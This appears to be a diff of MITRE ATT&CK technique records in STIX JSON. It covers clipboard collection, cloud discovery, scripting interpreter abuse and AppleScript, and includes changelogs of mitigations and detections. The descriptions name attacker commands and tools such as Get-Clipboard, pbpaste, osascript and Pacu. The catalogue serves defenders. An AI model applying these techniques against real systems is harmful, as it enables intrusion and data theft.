+ "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
+ "url": "https://www.cobaltstrike.com/help-browser-pivoting"
+ },
+ {
+ "source_name": "ICEBRG Chrome Extensions",
+ "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
+ "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
+ },
+ {
+ "source_name": "cobaltstrike manual",
+ "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
+ "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
+ }
+ ],
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+ "M1017: User Training",
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+ "changelog_datacomponent_detections": {
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+ "name": "Credential Stuffing",
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+ "url": "https://attack.mitre.org/techniques/T1110/004",
+ "external_id": "T1110.004"
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+ "source_name": "US-CERT TA18-068A 2018",
+ "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
+ }
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
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+ "SaaS",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Containers",
+ "Network Devices",
+ "Office Suite",
+ "Identity Provider",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.7",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1110/002",
+ "external_id": "T1110.002"
+ },
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+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "Wikipedia Password cracking",
+ "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
+ "url": "https://en.wikipedia.org/wiki/Password_cracking"
+ }
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+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
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+ "Network Devices",
+ "Office Suite",
+ "Identity Provider"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.397000+00:00\", \"old_value\": \"2025-04-15 19:58:11.912000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\"}}}",
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+ "M1027: Password Policies",
+ "M1032: Multi-factor Authentication"
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+ "new": [],
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+ "dropped": [
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+ "changelog_detectionstrategy_detections": {
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+ "DET0105: Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools"
+ ],
+ "dropped": []
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+ "url": "https://attack.mitre.org/techniques/T1110/001",
+ "external_id": "T1110.001"
+ },
+ {
+ "source_name": "Trend Micro Emotet 2020",
+ "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
+ "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
+ },
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+ "source_name": "Cylance Cleaver",
+ "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
+ "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
+ },
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+ "source_name": "US-CERT TA18-068A 2018",
+ "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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+ "Mohamed Kmal"
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+ "x_mitre_detection": "",
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+ "modified": "2025-10-24 17:49:01.646000+00:00",
+ "name": "Build Image on Host",
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+ "url": "https://attack.mitre.org/techniques/T1612",
+ "external_id": "T1612"
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+ "source_name": "Aqua Build Images on Hosts",
+ "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
+ "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
+ },
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+ "source_name": "Docker Build Image",
+ "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
+ "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
+ },
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+ "source_name": "Aqua Security Cloud Native Threat Report June 2021",
+ "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
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+ "Roi Kol, @roykol1, Team Nautilus Aqua Security",
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+ "M1035: Limit Access to Resource Over Network",
+ "M1047: Audit"
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+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "shared": [],
+ "new": [
+ "DET0459: Detection Strategy for Build Image on Host"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:25.967000+00:00",
+ "modified": "2025-10-24 17:48:36.079000+00:00",
+ "name": "Clipboard Data",
+ "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)",
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+ "url": "https://attack.mitre.org/techniques/T1115",
+ "external_id": "T1115"
+ },
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+ "source_name": "CISA_AA21_200B",
+ "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.",
+ "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"
+ },
+ {
+ "source_name": "mining_ruby_reversinglabs",
+ "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.",
+ "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"
+ },
+ {
+ "source_name": "clip_win_server",
+ "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.",
+ "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"
+ },
+ {
+ "source_name": "MSDN Clipboard",
+ "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
+ "url": "https://msdn.microsoft.com/en-us/library/ms649012"
+ },
+ {
+ "source_name": "Operating with EmPyre",
+ "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
+ "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"
+ }
+ ],
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+ "macOS",
+ "Windows"
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+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0017: Command (Command Execution)"
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+ },
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+ "shared": [],
+ "new": [
+ "DET0341: Clipboard Data Access with Anomalous Context"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-08-20 17:51:25.671000+00:00",
+ "modified": "2025-10-24 17:48:49.479000+00:00",
+ "name": "Cloud Infrastructure Discovery",
+ "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1580",
+ "external_id": "T1580"
+ },
+ {
+ "source_name": "Expel IO Evil in AWS",
+ "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
+ "url": "https://expel.io/blog/finding-evil-in-aws/"
+ },
+ {
+ "source_name": "AWS Head Bucket",
+ "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
+ "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
+ },
+ {
+ "source_name": "AWS Get Public Access Block",
+ "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
+ "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
+ },
+ {
+ "source_name": "AWS Describe DB Instances",
+ "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
+ "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
+ },
+ {
+ "source_name": "Amazon Describe Instance",
+ "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
+ "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
+ },
+ {
+ "source_name": "Amazon Describe Instances API",
+ "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
+ "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
+ },
+ {
+ "source_name": "Google Compute Instances",
+ "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
+ "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
+ },
+ {
+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
+ },
+ {
+ "source_name": "Microsoft AZ CLI",
+ "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
+ "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
+ },
+ {
+ "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
+ "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
+ "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
+ }
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+ "shared": [],
+ "new": [
+ "DET0169: Detection Strategy for Cloud Infrastructure Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-08-30 18:11:24.582000+00:00",
+ "modified": "2025-10-24 17:49:32.022000+00:00",
+ "name": "Cloud Service Dashboard",
+ "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1538",
+ "external_id": "T1538"
+ },
+ {
+ "source_name": "AWS Console Sign-in Events",
+ "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.",
+ "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
+ },
+ {
+ "source_name": "Google Command Center Dashboard",
+ "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.",
+ "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
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+ "x_mitre_contributors": [
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+ "Obsidian Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": false,
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+ "x_mitre_platforms": [
+ "IaaS",
+ "SaaS",
+ "Office Suite",
+ "Identity Provider"
+ ],
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+ "changelog_mitigations": {
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+ "new": [],
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+ "DS0002: User Account (User Account Authentication)",
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+ "shared": [],
+ "new": [
+ "DET0291: Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access"
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+ "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-08-30 13:01:10.120000+00:00",
+ "modified": "2025-10-24 17:49:30.791000+00:00",
+ "name": "Cloud Service Discovery",
+ "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).",
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+ {
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+ "phase_name": "discovery"
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+ "revoked": false,
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1526",
+ "external_id": "T1526"
+ },
+ {
+ "source_name": "Azure AD Graph API",
+ "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"
+ },
+ {
+ "source_name": "Azure - Resource Manager API",
+ "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.",
+ "url": "https://docs.microsoft.com/en-us/rest/api/resources/"
+ },
+ {
+ "source_name": "Azure - Stormspotter",
+ "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.",
+ "url": "https://github.com/Azure/Stormspotter"
+ },
+ {
+ "source_name": "GitHub Pacu",
+ "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
+ "url": "https://github.com/RhinoSecurityLabs/pacu"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_contributors": [
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+ "Praetorian",
+ "Thanabodi Phrakhun, I-SECURE",
+ "Arun Seelagan, CISA"
+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
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+ "Identity Provider",
+ "Office Suite",
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0025: Cloud Service (Cloud Service Enumeration)",
+ "DS0028: Logon Session (Logon Session Creation)"
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+ "shared": [],
+ "new": [
+ "DET0402: Detection Strategy for Cloud Service Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-10-01 17:58:26.445000+00:00",
+ "modified": "2025-10-24 17:49:03.853000+00:00",
+ "name": "Cloud Storage Object Discovery",
+ "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1619",
+ "external_id": "T1619"
+ },
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+ "source_name": "ListObjectsV2",
+ "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
+ "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html"
+ },
+ {
+ "source_name": "List Blobs",
+ "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.",
+ "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
+ }
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+ "x_mitre_contributors": [
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+ "Isif Ibrahima, Mandiant"
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+ "x_mitre_detection": "",
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+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management"
+ ],
+ "new": [],
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+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0010: Cloud Storage (Cloud Storage Access)",
+ "DS0010: Cloud Storage (Cloud Storage Enumeration)"
+ ]
+ },
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+ "shared": [],
+ "new": [
+ "DET0578: Detection Strategy for Cloud Storage Object Discovery"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:49.546000+00:00",
+ "modified": "2025-10-24 17:48:57.520000+00:00",
+ "name": "Command and Scripting Interpreter",
+ "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059",
+ "external_id": "T1059"
+ },
+ {
+ "source_name": "Remote Shell Execution in Python",
+ "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.",
+ "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Command History",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
+ },
+ {
+ "source_name": "Powershell Remote Commands",
+ "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.",
+ "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "IaaS",
+ "Identity Provider",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Office Suite",
+ "Windows"
+ ],
+ "x_mitre_remote_support": false,
+ "x_mitre_version": "2.6",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.520000+00:00\", \"old_value\": \"2025-04-15 19:58:41.855000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n\\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\\n-\\n-If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1026: Privileged Account Management",
+ "M1033: Limit Software Installation",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program",
+ "M1045: Code Signing",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0011: Module (Module Load)",
+ "DS0012: Script (Script Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0516: Behavioral Detection of Command and Scripting Interpreter Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-09 14:07:54.329000+00:00",
+ "modified": "2025-10-24 17:48:39.348000+00:00",
+ "name": "AppleScript",
+ "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1059/002",
+ "external_id": "T1059.002"
+ },
+ {
+ "source_name": "Apple AppleScript",
+ "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.",
+ "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"
+ },
+ {
+ "source_name": "SentinelOne macOS Red Team",
+ "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
+ "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
+ },
+ {
+ "source_name": "SentinelOne AppleScript",
+ "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.",
+ "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"
+ },
+ {
+ "source_name": "Macro Malware Targets Macs",
+ "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
+ "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.3",
